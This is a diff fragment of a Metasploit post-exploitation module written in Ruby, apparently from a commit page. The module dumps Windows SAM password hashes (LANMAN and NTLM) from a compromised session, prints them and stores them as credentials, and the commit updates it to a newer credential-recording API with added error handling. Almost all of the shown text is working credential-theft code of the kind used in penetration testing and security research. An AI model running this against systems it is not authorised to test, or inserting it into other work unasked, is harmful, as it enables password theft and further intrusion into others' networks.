@@ -38,31 +38,54 @@ def run
38
38
session . core . use ( "incognito" ) if not session . incognito
39
39
40
40
# It wasn't me mom! Stinko did it!
41
- hashes = client . priv . sam_hashes
41
+ begin
42
+ hashes = client . priv . sam_hashes
43
+ rescue
44
+ print_error ( 'Error accessing hashes, did you migrate to a process that matched the target\'s architecture?' )
45
+ return
46
+ end
42
47
43
48
# Target infos for the db record
44
- addr = client . sock . peerhost
49
+ addr = session . session_host
45
50
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
46
51
47
52
# Record hashes to the running db instance
48
53
print_good "Collecting hashes..."
49
54
50
55
hashes . each do |hash |
51
- data = { }
52
- data [ :host ] = addr
53
- data [ :port ] = 445
54
- data [ :sname ] = 'smb'
55
- data [ :user ] = hash . user_name
56
- data [ :pass ] = hash . lanman + ":" + hash . ntlm
57
- data [ :type ] = "smb_hash"
58
- if not session . db_record . nil?
59
- data [ :source_id ] = session . db_record . id
60
- end
61
- data [ :source_type ] = "exploit" ,
62
- data [ :active ] = true
63
-
64
- print_line " Extracted: #{ data [ :user ] } :#{ data [ :pass ] } "
65
- report_auth_info ( data ) if db_ok
56
+ # Build service information
57
+ service_data = {
58
+ address : addr ,
59
+ port : 445 ,
60
+ service_name : 'smb' ,
61
+ protocol : 'tcp' ,
62
+ }
63
+
64
+ # Build credential information
65
+ credential_data = {
66
+ origin_type : :session ,
67
+ session_id : session_db_id ,
68
+ post_reference_name : self . refname ,
69
+ private_type : :ntlm_hash ,
70
+ private_data : hash . lanman + ":" + hash . ntlm ,
71
+ username : hash . user_name ,
72
+ workspace_id : myworkspace_id
73
+ }
74
+
75
+ credential_data . merge! ( service_data )
76
+ credential_core = create_credential ( credential_data )
77
+
78
+ # Assemble the options hash for creating the Metasploit::Credential::Login object
79
+ login_data = {
80
+ core : credential_core ,
81
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
82
+ workspace_id : myworkspace_id
83
+ }
84
+
85
+ login_data . merge! ( service_data )
86
+ create_credential_login ( login_data )
87
+
88
+ print_line " Extracted: #{ credential_data [ :username ] } :#{ credential_data [ :private_data ] } "
66
89
end
67
90
68
91
# Record user tokens
0 commit comments